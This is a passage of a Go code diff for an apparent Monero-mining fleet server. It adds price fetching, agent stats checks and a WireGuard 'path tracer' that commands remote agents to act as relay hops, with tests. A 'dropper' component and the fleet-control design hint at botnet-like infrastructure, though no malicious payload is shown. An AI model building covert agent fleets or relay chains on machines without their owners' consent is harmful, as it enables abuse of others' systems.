|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const coingeckoXMRURL = "https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd"
|
||||||
|
|
||||||
|
func fetchCoinGeckoXMRPrice() (float64, error) {
|
||||||
|
client := &http.Client{Timeout: 8 * time.Second}
|
||||||
|
var lastErr error
|
||||||
|
for attempt := 0; attempt < 3; attempt++ {
|
||||||
|
if attempt > 0 {
|
||||||
|
time.Sleep(time.Duration(attempt) * 400 * time.Millisecond)
|
||||||
|
}
|
||||||
|
resp, err := client.Get(coingeckoXMRURL) //nolint:gosec
|
||||||
|
if err != nil {
|
||||||
|
lastErr = err
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
|
||||||
|
resp.Body.Close()
|
||||||
|
if resp.StatusCode == http.StatusTooManyRequests || resp.StatusCode >= 500 {
|
||||||
|
lastErr = fmt.Errorf("coingecko status %d", resp.StatusCode)
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
return 0, fmt.Errorf("coingecko status %d", resp.StatusCode)
|
||||||
|
}
|
||||||
|
var raw map[string]map[string]float64
|
||||||
|
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
|
||||||
|
return 0, fmt.Errorf("price parse failed")
|
||||||
|
}
|
||||||
|
return raw["monero"]["usd"], nil
|
||||||
|
}
|
||||||
|
if lastErr != nil {
|
||||||
|
return 0, lastErr
|
||||||
|
}
|
||||||
|
return 0, fmt.Errorf("price fetch failed")
|
||||||
|
}
|
||||||
|
|
||||||
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
|
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
|
||||||
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
||||||
f.GetEarnings(w, r)
|
f.GetEarnings(w, r)
|
||||||
|
|||||||
@@ -387,6 +387,32 @@ func TestFleetGetXMRPriceParseError(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func TestFleetGetXMRPriceRetriesOn429(t *testing.T) {
|
||||||
|
attempts := 0
|
||||||
|
setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
|
||||||
|
attempts++
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
if attempts < 2 {
|
||||||
|
rec.WriteHeader(http.StatusTooManyRequests)
|
||||||
|
_, _ = rec.Write([]byte(`{"error":"rate limit"}`))
|
||||||
|
return rec.Result(), nil
|
||||||
|
}
|
||||||
|
rec.Header().Set("Content-Type", "application/json")
|
||||||
|
_, _ = rec.Write([]byte(`{"monero":{"usd":123.45}}`))
|
||||||
|
return rec.Result(), nil
|
||||||
|
})
|
||||||
|
|
||||||
|
fh, _, _, _ := newTestFleetHandler(t)
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("expected 200 after retry, got %d body %s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
if attempts < 2 {
|
||||||
|
t.Fatalf("expected retry on 429, attempts=%d", attempts)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
func TestFleetEstimateXMRPerDay(t *testing.T) {
|
func TestFleetEstimateXMRPerDay(t *testing.T) {
|
||||||
zero := EstimateXMRPerDay(0)
|
zero := EstimateXMRPerDay(0)
|
||||||
if zero["xmr_per_day"].(float64) != 0 {
|
if zero["xmr_per_day"].(float64) != 0 {
|
||||||
|
|||||||
@@ -58,6 +58,10 @@ func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) {
|
|||||||
// GET /api/v1/agents/{id}/stats
|
// GET /api/v1/agents/{id}/stats
|
||||||
func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
|
func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
|
||||||
id := chi.URLParam(r, "id")
|
id := chi.URLParam(r, "id")
|
||||||
|
if _, err := h.db.GetAgent(id); err != nil {
|
||||||
|
http.Error(w, "Agent not found", http.StatusNotFound)
|
||||||
|
return
|
||||||
|
}
|
||||||
limitStr := r.URL.Query().Get("limit")
|
limitStr := r.URL.Query().Get("limit")
|
||||||
limit := 100
|
limit := 100
|
||||||
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {
|
||||||
|
|||||||
@@ -64,8 +64,8 @@ func TestGetAgentStatsLimitCap(t *testing.T) {
|
|||||||
r := chi.NewRouter()
|
r := chi.NewRouter()
|
||||||
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
||||||
r.ServeHTTP(rec, req)
|
r.ServeHTTP(rec, req)
|
||||||
if rec.Code == http.StatusInternalServerError {
|
if rec.Code != http.StatusNotFound {
|
||||||
t.Fatalf("limit cap caused 500: %s", rec.Body.String())
|
t.Fatalf("unknown agent should 404, got %d: %s", rec.Code, rec.Body.String())
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -76,8 +76,8 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
|
|||||||
_ = os.MkdirAll(webRoot, 0755)
|
_ = os.MkdirAll(webRoot, 0755)
|
||||||
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
|
||||||
|
|
||||||
dropperHandler := NewDropperHandler(database, nil)
|
dropperHandler := NewDropperHandler(database, dataDir, nil)
|
||||||
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
|
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
|
||||||
}
|
}
|
||||||
|
|
||||||
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {
|
||||||
|
|||||||
@@ -57,17 +57,61 @@ type TraceSession struct {
|
|||||||
clientPubKey string
|
clientPubKey string
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const (
|
||||||
|
pathTraceSessionTTL = 2 * time.Hour
|
||||||
|
pathTraceCleanupInterval = 5 * time.Minute
|
||||||
|
)
|
||||||
|
|
||||||
// PathTracerHandler manages on-demand WireGuard chain sessions.
|
// PathTracerHandler manages on-demand WireGuard chain sessions.
|
||||||
type PathTracerHandler struct {
|
type PathTracerHandler struct {
|
||||||
hub *WSHub
|
hub *WSHub
|
||||||
mu sync.Mutex
|
mu sync.Mutex
|
||||||
sessions map[string]*TraceSession
|
sessions map[string]*TraceSession
|
||||||
|
stopCh chan struct{}
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
|
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
|
||||||
return &PathTracerHandler{
|
h := &PathTracerHandler{
|
||||||
hub: hub,
|
hub: hub,
|
||||||
sessions: make(map[string]*TraceSession),
|
sessions: make(map[string]*TraceSession),
|
||||||
|
stopCh: make(chan struct{}),
|
||||||
|
}
|
||||||
|
go h.sessionCleanupLoop()
|
||||||
|
return h
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *PathTracerHandler) sessionCleanupLoop() {
|
||||||
|
ticker := time.NewTicker(pathTraceCleanupInterval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ticker.C:
|
||||||
|
h.expireSessions()
|
||||||
|
case <-h.stopCh:
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (h *PathTracerHandler) expireSessions() {
|
||||||
|
now := time.Now()
|
||||||
|
var expired []*TraceSession
|
||||||
|
h.mu.Lock()
|
||||||
|
for id, sess := range h.sessions {
|
||||||
|
if now.Sub(sess.CreatedAt) > pathTraceSessionTTL {
|
||||||
|
expired = append(expired, sess)
|
||||||
|
delete(h.sessions, id)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
h.mu.Unlock()
|
||||||
|
for _, sess := range expired {
|
||||||
|
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
|
||||||
|
for _, hop := range sess.Hops {
|
||||||
|
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||||
|
Type: "command",
|
||||||
|
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
|
||||||
|
})
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -260,11 +304,11 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
|||||||
if p == 0 {
|
if p == 0 {
|
||||||
p = 51820
|
p = 51820
|
||||||
}
|
}
|
||||||
// If UPnP failed, fall back to the IP the server saw.
|
// If UPnP failed, fall back to the agent's last known IP in the DB.
|
||||||
ip := res.ExternalIP
|
ip := res.ExternalIP
|
||||||
if ip == "" {
|
if ip == "" {
|
||||||
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
|
if ag, err := h.hub.db.GetAgent(hop.AgentID); err == nil && strings.TrimSpace(ag.IP) != "" {
|
||||||
ip = hop.ExternalIP // pre-filled below
|
ip = ag.IP
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
|
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
|
||||||
@@ -307,11 +351,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Phase 2: send wg_configure to each hop.
|
// Phase 2: send wg_configure to each hop.
|
||||||
// Build per-hop configs:
|
// Topology:
|
||||||
// - Last hop: peer = none (it's the exit), just IP forwarding
|
// - Hop 1 always peers to the client (10.66.0.1/32) so return traffic works.
|
||||||
// - Middle hops: peer = next hop
|
// - Relay hops also peer forward to the next hop (0.0.0.0/0).
|
||||||
// - First hop: peer = next hop, or none if single-hop (client connects directly)
|
// - Middle/exit hops peer back to the previous hop for reverse routing.
|
||||||
//
|
|
||||||
// The CLIENT config always points to the FIRST hop.
|
// The CLIENT config always points to the FIRST hop.
|
||||||
|
|
||||||
type cfgResp struct {
|
type cfgResp struct {
|
||||||
@@ -330,33 +373,23 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
|||||||
"local_address": hop.LocalAddr,
|
"local_address": hop.LocalAddr,
|
||||||
"listen_port": hop.Port,
|
"listen_port": hop.Port,
|
||||||
"enable_ip_forwarding": true,
|
"enable_ip_forwarding": true,
|
||||||
}
|
"peers": buildHopPeers(sess, i),
|
||||||
|
|
||||||
// Peers for this hop: only for relay hops (all except the exit/last hop).
|
|
||||||
if i < len(sess.Hops)-1 {
|
|
||||||
nextHop := sess.Hops[i+1]
|
|
||||||
payload["peers"] = []map[string]interface{}{
|
|
||||||
{
|
|
||||||
"public_key": nextHop.PublicKey,
|
|
||||||
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
|
||||||
"allowed_ips": "0.0.0.0/0",
|
|
||||||
"persistent_keepalive": 25,
|
|
||||||
},
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
payload["peers"] = []map[string]interface{}{}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
dataJSON, _ := json.Marshal(payload)
|
dataJSON, _ := json.Marshal(payload)
|
||||||
|
|
||||||
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
|
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
|
||||||
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
|
if err := h.hub.writeAgentJSON(hop.AgentID, Message{
|
||||||
Type: "command",
|
Type: "command",
|
||||||
Payload: mustMarshal(map[string]interface{}{
|
Payload: mustMarshal(map[string]interface{}{
|
||||||
"action": "wg_configure",
|
"action": "wg_configure",
|
||||||
"data": string(dataJSON),
|
"data": string(dataJSON),
|
||||||
}),
|
}),
|
||||||
})
|
}); err != nil {
|
||||||
|
h.hub.CancelAwait(hop.AgentID, "wg_configure")
|
||||||
|
cfgResults <- cfgResp{hop: hop, err: "agent not connected: " + err.Error()}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
select {
|
select {
|
||||||
@@ -402,6 +435,43 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
|
|||||||
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
|
||||||
|
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
|
||||||
|
var peers []map[string]interface{}
|
||||||
|
|
||||||
|
// Hop 1 is the client entry point — always accept the phone/client tunnel.
|
||||||
|
if i == 0 {
|
||||||
|
peers = append(peers, map[string]interface{}{
|
||||||
|
"public_key": sess.clientPubKey,
|
||||||
|
"allowed_ips": "10.66.0.1/32",
|
||||||
|
"persistent_keepalive": 25,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Forward peer: route outbound traffic to the next hop in the chain.
|
||||||
|
if i < len(sess.Hops)-1 {
|
||||||
|
nextHop := sess.Hops[i+1]
|
||||||
|
peers = append(peers, map[string]interface{}{
|
||||||
|
"public_key": nextHop.PublicKey,
|
||||||
|
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
|
||||||
|
"allowed_ips": "0.0.0.0/0",
|
||||||
|
"persistent_keepalive": 25,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// Reverse peer: return traffic toward the client via the previous hop.
|
||||||
|
if i > 0 {
|
||||||
|
prevHop := sess.Hops[i-1]
|
||||||
|
peers = append(peers, map[string]interface{}{
|
||||||
|
"public_key": prevHop.PublicKey,
|
||||||
|
"allowed_ips": "10.66.0.1/32",
|
||||||
|
"persistent_keepalive": 25,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
return peers
|
||||||
|
}
|
||||||
|
|
||||||
// buildClientConfig generates the WireGuard config text the user scans/imports.
|
// buildClientConfig generates the WireGuard config text the user scans/imports.
|
||||||
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
|
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
|
||||||
h.mu.Lock()
|
h.mu.Lock()
|
||||||
|
|||||||
378
server/internal/api/pathtracer_handler_test.go
Normal file
378
server/internal/api/pathtracer_handler_test.go
Normal file
@@ -0,0 +1,378 @@
|
|||||||
|
package api
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"context"
|
||||||
|
"encoding/base64"
|
||||||
|
"encoding/json"
|
||||||
|
"fmt"
|
||||||
|
"net/http"
|
||||||
|
"net/http/httptest"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"crypto-miner-server/internal/db"
|
||||||
|
|
||||||
|
"github.com/go-chi/chi/v5"
|
||||||
|
"github.com/gorilla/websocket"
|
||||||
|
)
|
||||||
|
|
||||||
|
func testTraceSession(hopCount int) *TraceSession {
|
||||||
|
sess := &TraceSession{
|
||||||
|
ID: "sess-test-12345678",
|
||||||
|
clientPubKey: "CLIENT_PUB_KEY_B64",
|
||||||
|
clientPrivKey: "CLIENT_PRIV_KEY_B64",
|
||||||
|
}
|
||||||
|
for i := 0; i < hopCount; i++ {
|
||||||
|
sess.Hops = append(sess.Hops, &HopInfo{
|
||||||
|
AgentID: fmt.Sprintf("agent-%d", i+1),
|
||||||
|
PublicKey: fmt.Sprintf("HOP%d_PUB", i+1),
|
||||||
|
ExternalIP: fmt.Sprintf("203.0.113.%d", i+1),
|
||||||
|
Port: 51820 + i,
|
||||||
|
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2),
|
||||||
|
Status: HopReady,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return sess
|
||||||
|
}
|
||||||
|
|
||||||
|
func peerKeys(peers []map[string]interface{}) []string {
|
||||||
|
out := make([]string, 0, len(peers))
|
||||||
|
for _, p := range peers {
|
||||||
|
out = append(out, p["public_key"].(string))
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildHopPeersSingleHop(t *testing.T) {
|
||||||
|
sess := testTraceSession(1)
|
||||||
|
peers := buildHopPeers(sess, 0)
|
||||||
|
if len(peers) != 1 {
|
||||||
|
t.Fatalf("single-hop want 1 peer (client), got %d: %+v", len(peers), peers)
|
||||||
|
}
|
||||||
|
if peers[0]["public_key"] != sess.clientPubKey {
|
||||||
|
t.Fatalf("expected client peer, got %+v", peers[0])
|
||||||
|
}
|
||||||
|
if peers[0]["allowed_ips"] != "10.66.0.1/32" {
|
||||||
|
t.Fatalf("client allowed_ips = %v", peers[0]["allowed_ips"])
|
||||||
|
}
|
||||||
|
if _, hasEndpoint := peers[0]["endpoint"]; hasEndpoint {
|
||||||
|
t.Fatal("client peer should not have endpoint")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildHopPeersTwoHop(t *testing.T) {
|
||||||
|
sess := testTraceSession(2)
|
||||||
|
hop1 := buildHopPeers(sess, 0)
|
||||||
|
if len(hop1) != 2 {
|
||||||
|
t.Fatalf("hop1 want client+forward peers, got %d", len(hop1))
|
||||||
|
}
|
||||||
|
if peerKeys(hop1)[0] != sess.clientPubKey {
|
||||||
|
t.Fatal("hop1 first peer should be client")
|
||||||
|
}
|
||||||
|
if peerKeys(hop1)[1] != sess.Hops[1].PublicKey {
|
||||||
|
t.Fatal("hop1 second peer should be next hop")
|
||||||
|
}
|
||||||
|
|
||||||
|
hop2 := buildHopPeers(sess, 1)
|
||||||
|
if len(hop2) != 1 {
|
||||||
|
t.Fatalf("exit hop want reverse peer only, got %d: %+v", len(hop2), hop2)
|
||||||
|
}
|
||||||
|
if hop2[0]["public_key"] != sess.Hops[0].PublicKey {
|
||||||
|
t.Fatal("exit hop should peer back to hop1")
|
||||||
|
}
|
||||||
|
if hop2[0]["allowed_ips"] != "10.66.0.1/32" {
|
||||||
|
t.Fatalf("reverse allowed_ips = %v", hop2[0]["allowed_ips"])
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestBuildHopPeersThreeHop(t *testing.T) {
|
||||||
|
sess := testTraceSession(3)
|
||||||
|
mid := buildHopPeers(sess, 1)
|
||||||
|
if len(mid) != 2 {
|
||||||
|
t.Fatalf("middle hop want forward+reverse, got %d", len(mid))
|
||||||
|
}
|
||||||
|
keys := peerKeys(mid)
|
||||||
|
if keys[0] != sess.Hops[2].PublicKey {
|
||||||
|
t.Fatal("middle hop forward peer should be hop3")
|
||||||
|
}
|
||||||
|
if keys[1] != sess.Hops[0].PublicKey {
|
||||||
|
t.Fatal("middle hop reverse peer should be hop1")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPathTracerSessionExpiry(t *testing.T) {
|
||||||
|
hub := NewWSHub(nil)
|
||||||
|
h := NewPathTracerHandler(hub)
|
||||||
|
sess := &TraceSession{
|
||||||
|
ID: "expired-session-id",
|
||||||
|
CreatedAt: time.Now().Add(-pathTraceSessionTTL - time.Minute),
|
||||||
|
Hops: []*HopInfo{{AgentID: "gone-agent"}},
|
||||||
|
}
|
||||||
|
h.mu.Lock()
|
||||||
|
h.sessions[sess.ID] = sess
|
||||||
|
h.mu.Unlock()
|
||||||
|
|
||||||
|
h.expireSessions()
|
||||||
|
|
||||||
|
h.mu.Lock()
|
||||||
|
_, ok := h.sessions[sess.ID]
|
||||||
|
h.mu.Unlock()
|
||||||
|
if ok {
|
||||||
|
t.Fatal("expired session should be removed")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey string) {
|
||||||
|
t.Helper()
|
||||||
|
conn := connectTestAgent(t, hub, agentID)
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
var msg Message
|
||||||
|
if err := conn.ReadJSON(&msg); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if msg.Type != "command" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var payload map[string]interface{}
|
||||||
|
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
action, _ := payload["action"].(string)
|
||||||
|
switch action {
|
||||||
|
case "wg_setup":
|
||||||
|
setup, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"public_key": pubKey,
|
||||||
|
"external_ip": "198.51.100.10",
|
||||||
|
"external_port": 51820,
|
||||||
|
})
|
||||||
|
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"action": "wg_setup", "success": true, "message": string(setup),
|
||||||
|
})})
|
||||||
|
case "wg_configure":
|
||||||
|
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"action": "wg_configure", "success": true,
|
||||||
|
})})
|
||||||
|
case "wg_teardown":
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPathTracerOrchestrationSingleHop(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
handler := NewPathTracerHandler(hub)
|
||||||
|
agentID := "trace-agent-1"
|
||||||
|
startPathTracerAgentResponder(t, hub, agentID, "AGENT1_PUBKEY")
|
||||||
|
|
||||||
|
body := `{"agent_ids":["` + agentID + `"]}`
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
handler.Start(rec, req)
|
||||||
|
if rec.Code != http.StatusOK {
|
||||||
|
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
var startResp map[string]interface{}
|
||||||
|
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
sessionID, _ := startResp["session_id"].(string)
|
||||||
|
if sessionID == "" {
|
||||||
|
t.Fatal("missing session_id")
|
||||||
|
}
|
||||||
|
|
||||||
|
deadline := time.Now().Add(5 * time.Second)
|
||||||
|
ready := false
|
||||||
|
for time.Now().Before(deadline) {
|
||||||
|
rc := chi.NewRouteContext()
|
||||||
|
rc.URLParams.Add("id", sessionID)
|
||||||
|
req2 := httptest.NewRequest(http.MethodGet, "/pathtrace/"+sessionID+"/status", nil)
|
||||||
|
req2 = req2.WithContext(context.WithValue(req2.Context(), chi.RouteCtxKey, rc))
|
||||||
|
rec = httptest.NewRecorder()
|
||||||
|
handler.Status(rec, req2)
|
||||||
|
|
||||||
|
var status map[string]interface{}
|
||||||
|
_ = json.Unmarshal(rec.Body.Bytes(), &status)
|
||||||
|
if status["ready"] == true {
|
||||||
|
ready = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
time.Sleep(50 * time.Millisecond)
|
||||||
|
}
|
||||||
|
if !ready {
|
||||||
|
t.Fatal("session did not become ready in time")
|
||||||
|
}
|
||||||
|
|
||||||
|
handler.mu.Lock()
|
||||||
|
sess := handler.sessions[sessionID]
|
||||||
|
handler.mu.Unlock()
|
||||||
|
if sess == nil || !sess.Ready {
|
||||||
|
t.Fatalf("session not ready: %+v", sess)
|
||||||
|
}
|
||||||
|
if sess.clientPubKey == "" {
|
||||||
|
t.Fatal("client pubkey should be set")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestPathTracerOrchestrationConfigurePeers(t *testing.T) {
|
||||||
|
database, err := db.New(t.TempDir())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
t.Cleanup(func() { _ = database.Close() })
|
||||||
|
|
||||||
|
hub := NewWSHub(database)
|
||||||
|
handler := NewPathTracerHandler(hub)
|
||||||
|
|
||||||
|
agent1 := "hop-one"
|
||||||
|
agent2 := "hop-two"
|
||||||
|
conn1 := connectTestAgent(t, hub, agent1)
|
||||||
|
conn2 := connectTestAgent(t, hub, agent2)
|
||||||
|
|
||||||
|
var (
|
||||||
|
captured []map[string]interface{}
|
||||||
|
captureMu sync.Mutex
|
||||||
|
)
|
||||||
|
done := make(chan struct{})
|
||||||
|
var once sync.Once
|
||||||
|
|
||||||
|
respond := func(conn *websocket.Conn, pub string) {
|
||||||
|
for {
|
||||||
|
var msg Message
|
||||||
|
if err := conn.ReadJSON(&msg); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if msg.Type != "command" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
var payload map[string]interface{}
|
||||||
|
_ = json.Unmarshal(msg.Payload, &payload)
|
||||||
|
switch payload["action"] {
|
||||||
|
case "wg_setup":
|
||||||
|
setup, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"public_key": pub, "external_ip": "198.51.100.1", "external_port": 51820,
|
||||||
|
})
|
||||||
|
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"action": "wg_setup", "success": true, "message": string(setup),
|
||||||
|
})})
|
||||||
|
case "wg_configure":
|
||||||
|
dataStr, _ := payload["data"].(string)
|
||||||
|
var cfg map[string]interface{}
|
||||||
|
_ = json.Unmarshal([]byte(dataStr), &cfg)
|
||||||
|
captureMu.Lock()
|
||||||
|
captured = append(captured, cfg)
|
||||||
|
n := len(captured)
|
||||||
|
captureMu.Unlock()
|
||||||
|
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
|
||||||
|
"action": "wg_configure", "success": true,
|
||||||
|
})})
|
||||||
|
if n == 2 {
|
||||||
|
once.Do(func() { close(done) })
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
go respond(conn1, "PUB_HOP1")
|
||||||
|
go respond(conn2, "PUB_HOP2")
|
||||||
|
|
||||||
|
body := `{"agent_ids":["` + agent1 + `","` + agent2 + `"]}`
|
||||||
|
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
|
||||||
|
rec := httptest.NewRecorder()
|
||||||
|
handler.Start(rec, req)
|
||||||
|
|
||||||
|
var startResp map[string]interface{}
|
||||||
|
_ = json.Unmarshal(rec.Body.Bytes(), &startResp)
|
||||||
|
sessionID := startResp["session_id"].(string)
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
case <-time.After(5 * time.Second):
|
||||||
|
t.Fatal("timed out waiting for wg_configure on both hops")
|
||||||
|
}
|
||||||
|
|
||||||
|
handler.mu.Lock()
|
||||||
|
sess := handler.sessions[sessionID]
|
||||||
|
handler.mu.Unlock()
|
||||||
|
if sess == nil {
|
||||||
|
t.Fatal("session missing")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hop1 configure payload must include client peer + forward to hop2.
|
||||||
|
var hop1Cfg map[string]interface{}
|
||||||
|
for _, cfg := range captured {
|
||||||
|
if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.2") {
|
||||||
|
hop1Cfg = cfg
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if hop1Cfg == nil {
|
||||||
|
t.Fatalf("missing hop1 config in captured: %+v", captured)
|
||||||
|
}
|
||||||
|
peers, _ := hop1Cfg["peers"].([]interface{})
|
||||||
|
if len(peers) != 2 {
|
||||||
|
t.Fatalf("hop1 want 2 peers (client+forward), got %d", len(peers))
|
||||||
|
}
|
||||||
|
p0 := peers[0].(map[string]interface{})
|
||||||
|
if p0["public_key"] != sess.clientPubKey {
|
||||||
|
t.Fatalf("hop1 first peer should be client, got %v", p0["public_key"])
|
||||||
|
}
|
||||||
|
p1 := peers[1].(map[string]interface{})
|
||||||
|
if p1["public_key"] != "PUB_HOP2" {
|
||||||
|
t.Fatalf("hop1 forward peer = %v", p1["public_key"])
|
||||||
|
}
|
||||||
|
|
||||||
|
// Hop2 (exit) must have reverse peer to hop1 only.
|
||||||
|
var hop2Cfg map[string]interface{}
|
||||||
|
for _, cfg := range captured {
|
||||||
|
if la, _ := cfg["local_address"].(string); strings.HasPrefix(la, "10.66.0.3") {
|
||||||
|
hop2Cfg = cfg
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
peers2, _ := hop2Cfg["peers"].([]interface{})
|
||||||
|
if len(peers2) != 1 {
|
||||||
|
t.Fatalf("hop2 want 1 reverse peer, got %d", len(peers2))
|
||||||
|
}
|
||||||
|
